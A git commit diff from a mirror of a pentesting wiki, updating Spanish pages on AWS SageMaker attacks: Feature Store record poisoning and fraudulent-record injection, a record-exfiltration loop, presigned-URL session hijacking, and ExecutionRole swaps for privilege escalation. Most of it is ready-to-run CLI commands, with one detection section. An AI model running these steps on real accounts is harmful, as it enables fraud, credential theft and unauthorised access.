mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de feature en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles. Esto no requiere acceso a models o endpoints.
|
||||
Abusa de `sagemaker:PutRecord` en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por online inference. Combinado con `sagemaker:GetRecord`, un atacante puede leer features sensibles y exfiltrate datos confidenciales de ML. Esto no requiere acceso a models o endpoints, convirtiéndolo en un ataque directo a la capa de datos.
|
||||
|
||||
## Requisitos
|
||||
- Permisos: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Objetivo: Feature Group con OnlineStore habilitado (típicamente respaldando real-time inference)
|
||||
## Requirements
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
|
||||
- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required
|
||||
|
||||
## Pasos
|
||||
1) Elige o crea un pequeño Online Feature Group para pruebas
|
||||
## Steps
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) Listar Feature Groups con OnlineStore habilitado
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Describir el Feature Group objetivo para comprender su esquema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Nota el `RecordIdentifierFeatureName`, `EventTimeFeatureName`, y todas las definiciones de features. Estos son necesarios para crear registros válidos.
|
||||
|
||||
### Escenario de ataque 1: Data Poisoning (Sobrescribir registros existentes)
|
||||
|
||||
1) Leer el registro legítimo actual
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Envenenar el registro con valores maliciosos usando el parámetro en línea `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verificar los datos envenenados
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impacto**: Los modelos ML que consumen esta característica ahora verán `risk_score=0.99` para un usuario legítimo, lo que puede bloquear sus transacciones o servicios.
|
||||
|
||||
### Escenario de ataque 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Inyectar registros completamente nuevos con características manipuladas para evadir los controles de seguridad:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Verifica la inyección:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impacto**: El atacante crea una identidad falsa con una puntuación de riesgo baja (0.01) que puede realizar transacciones fraudulentas de alto valor sin activar la detección de fraude.
|
||||
|
||||
### Escenario de ataque 3: Exfiltración de datos sensibles
|
||||
|
||||
Leer múltiples registros para extraer características confidenciales y perfilar el comportamiento del modelo:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impact**: Características confidenciales (puntuaciones de riesgo, patrones de transacción, datos personales) expuestas al atacante.
|
||||
|
||||
### Testing/Demo Feature Group Creation (Optional)
|
||||
|
||||
Si necesitas crear un Feature Group de prueba:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Insertar/sobrescribir un registro en línea (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Leer el registro para confirmar la manipulación
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Esperado: risk_score devuelve 0.99 (establecido por el atacante), demostrando la capacidad de cambiar características en línea consumidas por modelos.
|
||||
|
||||
## Impacto
|
||||
- Ataque de integridad en tiempo real: manipular características usadas por modelos en producción sin tocar endpoints/models.
|
||||
- Riesgo de confidencialidad: leer características sensibles vía GetRecord desde OnlineStore.
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detección
|
||||
|
||||
Supervise CloudTrail en busca de patrones sospechosos:
|
||||
- Eventos `PutRecord` desde IAM principals inusuales o direcciones IP
|
||||
- Llamadas `PutRecord` o `GetRecord` con alta frecuencia
|
||||
- `PutRecord` con valores de característica anómalos (p. ej., risk_score fuera del rango normal)
|
||||
- Operaciones masivas `GetRecord` que indiquen exfiltración en masa
|
||||
- Acceso fuera del horario laboral habitual o desde ubicaciones inesperadas
|
||||
|
||||
Implemente detección de anomalías:
|
||||
- Validación de valores de característica (p. ej., risk_score debe ser 0.0-1.0)
|
||||
- Análisis de patrones de escritura (frecuencia, tiempos, identidad de origen)
|
||||
- Detección de deriva de datos (cambios bruscos en las distribuciones de características)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -6,18 +6,18 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Comienza creando una notebook con el IAM Role al que quieres acceder adjunto:
|
||||
Comience a crear una instancia de notebook con el IAM Role adjunto para acceder a ella:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
La respuesta debe contener un campo `NotebookInstanceArn`, que incluirá el ARN de la instancia de notebook recién creada. Luego podemos usar la API `create-presigned-notebook-instance-url` para generar una URL que podemos usar para acceder a la instancia de notebook una vez que esté lista:
|
||||
La respuesta debe contener un campo `NotebookInstanceArn`, que contendrá el ARN de la instancia de notebook recién creada. Luego podemos usar la API `create-presigned-notebook-instance-url` para generar una URL que podremos usar para acceder a la instancia de notebook una vez que esté lista:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Navega a la URL con el navegador y haz clic en `Open JupyterLab`` en la esquina superior derecha, luego desplázate a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.
|
||||
Navega a la URL con el navegador y haz clic en `Open JupyterLab`` en la esquina superior derecha, luego desplázate hasta la pestaña “Launcher” y, en la sección “Other”, haz clic en el botón “Terminal”.
|
||||
|
||||
Ahora es posible acceder a las credenciales de metadatos del IAM Role.
|
||||
|
||||
@@ -25,15 +25,97 @@ Ahora es posible acceder a las credenciales de metadatos del IAM Role.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Si hay Jupyter **notebooks ya en ejecución** en él y puedes listarlos con `sagemaker:ListNotebookInstances` (o descubrirlos de cualquier otra manera). Puedes **generar una URL para ellos, acceder a ellos y robar las credenciales como se indica en la técnica anterior**.
|
||||
Si hay Jupyter **notebooks ya ejecutándose** en él y puedes listarlos con `sagemaker:ListNotebookInstances` (o descubrirlos de cualquier otra forma). Puedes **generar una URL para ellos, acceder y robar las credenciales tal como se indica en la técnica anterior**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Impacto potencial:** Escalada de privilegios al rol de servicio de SageMaker adjunto.
|
||||
**Impacto potencial:** Privesc al rol de servicio adjunto de sagemaker.
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque solo funciona en dominios tradicionales antiguos de SageMaker Studio, no en los creados por SageMaker Unified Studio. Los dominios de Unified Studio devolverán el error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
Una identidad con permiso para llamar a `sagemaker:CreatePresignedDomainUrl` sobre un `UserProfile` objetivo de Studio puede generar una URL de inicio de sesión que autentica directamente en SageMaker Studio como ese perfil. Esto otorga al navegador del atacante una sesión de Studio que hereda los permisos del `ExecutionRole` del perfil y acceso completo al home respaldado por EFS y a las apps del perfil. No se requiere `iam:PassRole` ni acceso a la consola.
|
||||
|
||||
**Requisitos**:
|
||||
- Un SageMaker Studio `Domain` y un `UserProfile` objetivo dentro del mismo.
|
||||
- El principal atacante necesita `sagemaker:CreatePresignedDomainUrl` en el `UserProfile` objetivo (a nivel de recurso) o `*`.
|
||||
|
||||
Ejemplo de política mínima (limitada a un `UserProfile`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**Pasos de abuso**:
|
||||
|
||||
1) Enumera un Studio Domain y UserProfiles que puedas atacar
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Comprueba que unified studio no se esté usando (el ataque solo funciona en dominios tradicionales de SageMaker Studio)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) Generar una presigned URL (válida ~5 minutos por defecto)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) Abre la URL devuelta en un navegador para iniciar sesión en Studio como el usuario objetivo. En un terminal Jupyter dentro de Studio, verifica la identidad efectiva o exfiltra el token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notas:
|
||||
- `--landing-uri` puede omitirse. Algunos valores (p. ej., `app:JupyterLab:/lab`) pueden ser rechazados dependiendo de la variante/versión de Studio; los valores por defecto normalmente redirigen a la página principal de Studio y luego a Jupyter.
|
||||
- Las políticas de la organización/restricciones de endpoints VPC aún pueden bloquear el acceso de red; la emisión del token no requiere inicio de sesión en la consola ni `iam:PassRole`.
|
||||
|
||||
**Impacto potencial**: Movimiento lateral y escalada de privilegios al asumir cualquier Studio `UserProfile` cuyo ARN esté permitido, heredando su `ExecutionRole` y sistema de archivos/aplicaciones.
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
Una identidad con permiso para invocar `sagemaker:CreatePresignedMlflowTrackingServerUrl` (y `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` para acceso posterior) sobre un SageMaker MLflow Tracking Server objetivo puede generar una URL prefirmada de un solo uso que autentica directamente en la UI gestionada de MLflow de ese servidor. Esto concede el mismo acceso que tendría un usuario legítimo al servidor (ver/crear experiments y runs, y descargar/subir artifacts en el S3 artifact store del servidor).
|
||||
|
||||
**Requisitos:**
|
||||
- Un SageMaker MLflow Tracking Server en la cuenta/región y su nombre.
|
||||
- El principal atacante necesita `sagemaker:CreatePresignedMlflowTrackingServerUrl` en el recurso MLflow Tracking Server objetivo (o `*`).
|
||||
|
||||
**Pasos de abuso**:
|
||||
|
||||
1) Enumera los MLflow Tracking Servers que puedes apuntar y elige un nombre
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Generar una URL presignada para MLflow UI (válida por poco tiempo)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Abre la URL devuelta en un navegador para acceder al MLflow UI como un usuario autenticado para ese Tracking Server.
|
||||
|
||||
**Impacto potencial:** Acceso directo al MLflow UI gestionado para el Tracking Server objetivo, permitiendo ver y modificar experimentos/ejecuciones y recuperar o subir artefactos almacenados en el S3 artifact store configurado del servidor, dentro de los permisos impuestos por la configuración del servidor.
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
Un atacante con esos permisos puede hacer que **SageMaker ejecute un job de procesamiento** con un rol de SageMaker adjunto. Al reutilizar uno de los AWS Deep Learning Containers que ya incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imágenes propias:
|
||||
Un atacante con esos permisos puede hacer que **SageMaker ejecute un processing job** con un SageMaker role adjunto. Reutilizando uno de los AWS Deep Learning Containers que ya incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imágenes propias:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +131,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**Impacto potencial:** Privesc al rol de servicio de sagemaker especificado.
|
||||
**Impacto potencial:** Escalada de privilegios al rol de servicio de sagemaker especificado.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Un attacker con esos permisos puede lanzar un training job que ejecute código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imágenes propias:
|
||||
Un attacker con esos permisos puede lanzar un training job que ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imágenes propias:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -73,11 +155,11 @@ aws sagemaker create-training-job \
|
||||
|
||||
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
|
||||
```
|
||||
**Impacto potencial:** Privesc al role de servicio de SageMaker especificado.
|
||||
**Impacto potencial:** Privesc al rol de servicio de SageMaker especificado.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Un atacante con esos permisos puede iniciar un HyperParameter Tuning Job que ejecute código controlado por el atacante bajo el role proporcionado. El modo script requiere alojar el payload en S3, pero todos los pasos pueden automatizarse desde la CLI:
|
||||
Un atacante con esos permisos puede lanzar un HyperParameter Tuning Job que ejecuta código controlado por el atacante bajo el rol suministrado. Script mode requiere alojar el payload en S3, pero todos los pasos pueden automatizarse desde la CLI:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -186,25 +268,26 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
|
||||
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Prioridad de ExecutionRole:
|
||||
Con el permiso para actualizar un SageMaker Studio User Profile, crear una app, una presigned URL para la app y `iam:PassRole`, un atacante puede establecer el `ExecutionRole` a cualquier rol IAM que el service principal de SageMaker pueda asumir. Las nuevas apps de Studio lanzadas para ese perfil se ejecutarán con el rol intercambiado, otorgando permisos elevados interactivos vía terminales Jupyter o jobs lanzados desde Studio.
|
||||
|
||||
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
|
||||
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
|
||||
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
|
||||
|
||||
Con permisos para actualizar un SageMaker Studio User Profile (o Space/Domain), un atacante puede establecer el `ExecutionRole` a cualquier rol IAM que el service principal de SageMaker pueda asumir. A diferencia de las APIs de creación de jobs, las APIs de actualización de perfil de Studio no requieren `iam:PassRole`. Las nuevas apps de Studio lanzadas para ese perfil se ejecutarán con el rol intercambiado, otorgando permisos elevados interactivos vía terminales Jupyter o jobs lanzados desde Studio.
|
||||
> [!WARNING]
|
||||
> Este ataque requiere que no haya aplicaciones en el perfil, de lo contrario la creación de la app fallará con un error similar a: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> Si existe alguna app necesitarás el permiso `sagemaker:DeleteApp` para borrarlas primero.
|
||||
|
||||
Pasos:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +298,58 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**Impacto potencial**: Privilege escalation a los permisos del rol de ejecución de SageMaker especificado para sesiones interactivas de Studio.
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Con permisos para actualizar un SageMaker Studio Domain, crear una app, una presigned URL para la app, y `iam:PassRole`, un atacante puede establecer el `ExecutionRole` por defecto del dominio a cualquier rol IAM que el service principal de SageMaker pueda asumir. Las nuevas apps de Studio iniciadas para ese perfil se ejecutarán con el rol intercambiado, otorgando permisos elevados interactivos vía terminales Jupyter o jobs lanzados desde Studio.
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque requiere que no haya aplicaciones en el dominio, de lo contrario la creación de la app fallará con el error: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
Pasos:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,22 +358,86 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
**Impacto potencial**: Privilege escalation a los permisos del rol de ejecución especificado de SageMaker para sesiones interactivas de Studio.
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**Potential Impact**: Escalada de privilegios a los permisos del `ExecutionRole` de SageMaker especificado para sesiones interactivas de Studio.
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
Un atacante con permiso para crear una app de SageMaker Studio para un UserProfile objetivo puede lanzar una app JupyterServer que se ejecuta con el `ExecutionRole` del perfil. Esto proporciona acceso interactivo a los permisos del `ExecutionRole` mediante terminales Jupyter o jobs lanzados desde Studio.
|
||||
|
||||
Pasos:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
